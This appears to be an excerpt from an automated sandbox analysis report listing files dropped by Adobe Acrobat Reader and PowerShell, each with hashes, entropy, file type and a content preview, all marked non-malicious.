C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.322084898668478
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PPET+VoZcg1vRcR0YNoAvJfzdPeUkwRe9:YvXKXZPY3Zc0vZGb8Ukee9
MD5:	F285F02BA142132BA522D41E9B68FFFB
SHA1:	A51B9F043865E1B0BB47975244AEC12EEB464842
SHA-256:	6243E0E9441D0575F5F3DC1D1E389C5A9437F3CF2C28718BE503A447F1A50736
SHA-512:	06B1EA4CDC12E6CD44222DE34EDCFB78524F2E8570940419F96E8CDE1F672EC6605AB7468B406DD74EA93041BC61C6A89B874DAD56166F9697B6DD1DD9DC8D79
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d5ede25f-d4a6-4bb0-811c-55c1a58215c3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734595167,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.302785138558079
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PPET+VoZcg1vRcR0YNoAvJfYdPeUkwRe9:YvXKXZPY3Zc0vZGg8Ukee9
MD5:	C6C21FAA65963FA65AA82D0BEC8FDB80
SHA1:	B241A3FE6C858F187F55FF7915068845B389BE1E
SHA-256:	701DA813C11191FB445A1D820C4733FA3A84D0AFFD9450B30C2942D9ECFE856B
SHA-512:	4EED223A2E5644057B2FC2F9EB080F6FEC1ED738D635CBA2694D632BB0F93F636F3425E48080C49765E807DE6AEEC8C9E3F6F8917E158E46A8E93C81ABA5B0A2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d5ede25f-d4a6-4bb0-811c-55c1a58215c3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734595167,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.289183536438138
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PPET+VoZcg1vRcR0YNoAvJf+dPeUkwRe9:YvXKXZPY3Zc0vZG28Ukee9
MD5:	6C9653B6DD9E27EF537BD1C683F1844E
SHA1:	D422ECFED2DB6106EC461D8EA8E445710A0543A6
SHA-256:	B7B022DFEE14782882A88227B9BA9B9991DFBB832DB815AB0DA42E7583DCECBF
SHA-512:	F22089C7F0EA724CF6644F99383D004A964183AADC766123FC3E6CF07443096DD551C433082B8C151C19246C5B1840B5CB02B73FCD049DACC0E2E718BFEB7F34
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d5ede25f-d4a6-4bb0-811c-55c1a58215c3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734595167,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.286313094386183
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PPET+VoZcg1vRcR0YNoAvJfbPtdPeUkwRe9:YvXKXZPY3Zc0vZGDV8Ukee9
MD5:	A0BDAF4360BD224D572401095CF201A6
SHA1:	BBD3FD77B837344F63588BBC7813505E8E94ABAA
SHA-256:	37235E4EBE00703B7E82D96C98CE3224DA93D9D90C8622A2826221FEA0793B5C
SHA-512:	F87D5D79C7C48ADFA673F3072FC87328E6269538AC2B0763736C062AE14558F51DC8CC72D2E65A28F3FDAFAF8962F648E8F5719774F7D9D16A470160AA029849
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d5ede25f-d4a6-4bb0-811c-55c1a58215c3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734595167,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.291003097499234
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PPET+VoZcg1vRcR0YNoAvJf21rPeUkwRe9:YvXKXZPY3Zc0vZG+16Ukee9
MD5:	4CA819F8B4EE96C47451F9C036753E82
SHA1:	4DEAB1E256140FFD6F36735462729A9535A41FD3
SHA-256:	CF21049656E7D05E001689B7D1B34C6DDADCA78E0A46DBD4E40D1A7E02346374
SHA-512:	90F235C242F27975C58C00AAEB18CE4A3A39B537BC4A61BD5E134A89E64FE018E9593E3E5EF84671086C41DB0C574553DF1028069BE657B61D157FAD8F554672
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d5ede25f-d4a6-4bb0-811c-55c1a58215c3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734595167,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660183564766089
Encrypted:	false
SSDEEP:	24:Yv6XW3zviamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSS1:YvHDEBgkDMUJUAh8cvMM
MD5:	704013DE0BF4624DA45639BEA4929461
SHA1:	30AB4D522BEE47332131ED1F97DEA35BED8CF08B
SHA-256:	00672A4A98DE4AD789943F81B672C2D977FD04A8E401C1CD0E743205932F54C8
SHA-512:	A1EA7CA5B03C1418FAA4346C3E8BF19DD2C6F89DF081F25F02AD0FB179793F9A532D1EF3364DC49B52464C1AD88A6DD40B8EBC69B5B072AA1F88E0D29DCF55FC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d5ede25f-d4a6-4bb0-811c-55c1a58215c3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734595167,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.265809582035714
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PPET+VoZcg1vRcR0YNoAvJfshHHrPeUkwRe9:YvXKXZPY3Zc0vZGUUUkee9
MD5:	5AB905AEE8208CC57CC07A95C4831B71
SHA1:	9EC06561391F22B20FF8D1BFF123BB407700620A
SHA-256:	F8A5341173874BC95600CACA4E6A75CD2C12E82716A5B2EE34798FEF232EC808
SHA-512:	149534BA290D2E9BD7F7E4F4047505B29A40DEB4595751CE80B69153CE39A43FB8C757EBFF38741BB8E5C581849EF16102B81C2BADAF1DE3C8FA4FA76D2A6101
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d5ede25f-d4a6-4bb0-811c-55c1a58215c3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734595167,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2807727868453895
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PPET+VoZcg1vRcR0YNoAvJTqgFCrPeUkwRe9:YvXKXZPY3Zc0vZGTq16Ukee9
MD5:	CA439A943C27829C138BB2DE2E75E128
SHA1:	EDC52B28DE7728DB09104BFCBC12394C5BCB394C
SHA-256:	4BCE448BE19060DDE88CB95606718D0994A6A35A6D78DB1ABA961489EAD8B2A7
SHA-512:	CE8CC6FD9C150F800E32CB563EF7FC9A66C314A37B7B2B781067278B0D4E30461175009DEB914DE1C2F0F03E0E93644297F226CA8A2064744294B3D8C8794FBC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d5ede25f-d4a6-4bb0-811c-55c1a58215c3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734595167,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143902969741494
Encrypted:	false
SSDEEP:	24:YoDjwOGaiaytjBlRi8y6lJM65zfOxV9O0l4RPjxg33j0Szf/qC2cV2LSzRCrJm5s:YoDGDM6VG9GxgjLvVXmkqakMl9fu
MD5:	C8EF89B94220EBBB6BFAC33FFD047209
SHA1:	AA45D02A1AEA07C8B4F0469A7231F1711DE3AD3D
SHA-256:	7FE05ECAB26722A38AB448AD6055AAB2B11DE894D5073D0FCB9486AE7A3A55C4
SHA-512:	D07E0C5E436E7454015012F8272FEF4C62578E6DE1E0F28461E36F09A5B12E7A06FB94817325C3476B9732F8BE4334A3930C013A97341AEBDBD7D9AF0BFB3E66
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"2a729a85c7968cab8f46330facc75b99","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736561689000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"cc6936a2300621c2320eaf8771120891","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736561689000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"ee84b22427cd84233242f5745767c6ff","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736561689000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"e75be97f6ed24b5e36d101dfa58f8052","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736561689000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"9f67efa0aee49950612f90b5363fc085","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736561689000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"2c3f3753b3f308d0a347412815b6f6a9","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1879471926325988
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUsSvR9H9vxFGiDIAEkGVvpO:lNVmswUUUUUUUUs+FGSItS
MD5:	7ECDDDE304EF6B247ABA7008AB225C83
SHA1:	A748712D243252A6E1925039FCD50D380C9CA1DE
SHA-256:	9C4D87328595340D47B1FB487ECDA65B7ECD9D40CE4B390E1A6F2E38942E35EE
SHA-512:	8CBE814784B45DCA580583F323857654A70B2F880C1E1B5FCC075D168A977DDCF9B29BF4E3078FA49FE9F8BE23BCB4FB9C664912A52842C3424C99EBCF4F130E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6078642098699731
Encrypted:	false
SSDEEP:	48:7MyKUUUUUUUUUU+vR9H9vxFGiDIAEkGVvKqFl2GL7msL:7+UUUUUUUUUUCFGSItcKVmsL
MD5:	3180CD22CB9A8E3342B967F47490843A
SHA1:	C3E66E489F7F3111A46195540C039C92F9F25F00
SHA-256:	E714D9C4D092F8701EBB4823FBA754DFA4F28B1959B36BA04857CAADC4FAF828
SHA-512:	F98EAE757547B6BDA3E88CABD4C8CD2A5EEB69F49037583E0035B4D444A90743E6A101AD9DEC64763D379BE36BFA8A6A58DDC372A4DEEFD7355FAED70EB991F4
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgm83u5ODtAEciOcscBMbfyXzQ8Yyu:6a6TZ44ADEL3u5ODtAEEyjDK
MD5:	D7734EC94E949E024E7569F0C75E2A67
SHA1:	4D5D1A1AB4AB1B1B74E41881824A4635D9D9D988
SHA-256:	56D862F717BE545DC97426073D8A05D1F49E11322D2038A3EC0B62A0EBF962FE
SHA-512:	BC3C0A49C17ECACFBAC941FCD4BE1889BE0BAE6D31D04D1E8114FA56AB7001A578C392E28A5C844286A450F22236D6CD1C1C795F3DCA8309AC7D4472C3A9A841
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI3e4af.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.493870954423123
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClsoCH:Qw946cPbiOxDlbYnuRK+bmCH
MD5:	A6AB209425DBA2A0253A0C359F0A7332
SHA1:	E346315A9DB4963647BDE96401E2C58C287D6086
SHA-256:	F1055C583C3019E49D7743FBD7DF7B90B580BC39C9B5C66444998E68F5DB8565
SHA-512:	D6A64C25C5DC09E3BC3981FF5396C4E174AEF8E9A6C2E4D1D3F60E8730D5C1AF531B87388D508670627BDA94683D75F9CD128ECFCA29B70BB3E43CF128D8DA1A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.1.4.:.5.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4t0jlhtv.uwj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d3mkgqlf.vla.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9o9v3wv_14clnf_510.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-14-43-929.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.374886562496791
Encrypted:	false
SSDEEP:	384:D4ElUEB4/d6it5QR2Q8Lo/NHUhRqJQglRO8zlAGCWAd/AftgdjM9AqMpMdQt7tBT:CmRxg
MD5:	04D14E1785643FA3DF1B7E751B6D514D
SHA1:	466CC3116F912C4923679E42E1C0141B0813D3F4
SHA-256:	D4EDDEFB3E3D4B40F47374D369A6D694B8598F76D992E95B4720B394ED7DAF6A
SHA-512:	AB3E5AD33D6D28E67BCEA8D91E00B78BE422EA083D012E15A274D7DCFF93C2D980C55D1A8AD91041B8C5A76FEB0B2A1F03FB32E9E31744567446439D950D2CBA
Malicious:	false
Preview:	SessionID=4275224c-5c75-4089-ab52-f586740378d9.1736561683948 Timestamp=2025-01-10T21:14:43:948-0500 ThreadID=7820 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=4275224c-5c75-4089-ab52-f586740378d9.1736561683948 Timestamp=2025-01-10T21:14:43:949-0500 ThreadID=7820 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=4275224c-5c75-4089-ab52-f586740378d9.1736561683948 Timestamp=2025-01-10T21:14:43:949-0500 ThreadID=7820 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=4275224c-5c75-4089-ab52-f586740378d9.1736561683948 Timestamp=2025-01-10T21:14:43:949-0500 ThreadID=7820 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=4275224c-5c75-4089-ab52-f586740378d9.1736561683948 Timestamp=2025-01-10T21:14:43:949-0500 ThreadID=7820 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.388158945310571
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rC:kx
MD5:	F487AE57BA0D74D038E6A5D03E028D33
SHA1:	FAAB8608BCA3B1B591E51EBC1EBEBB0B34751AD2
SHA-256:	9B177BEA31A2922B96780F3BCFD9F70520F0B87492D67599FD44240B9BF93119
SHA-512:	A578203415921C1512FC4104CDAEDBC3A9E765E27E80924D80603945C285620507C657F4F9DCDB4E467727CEB9B115EEF9250E1A7D079E130BEA3FD7C76F2CCE
Malicious:	false
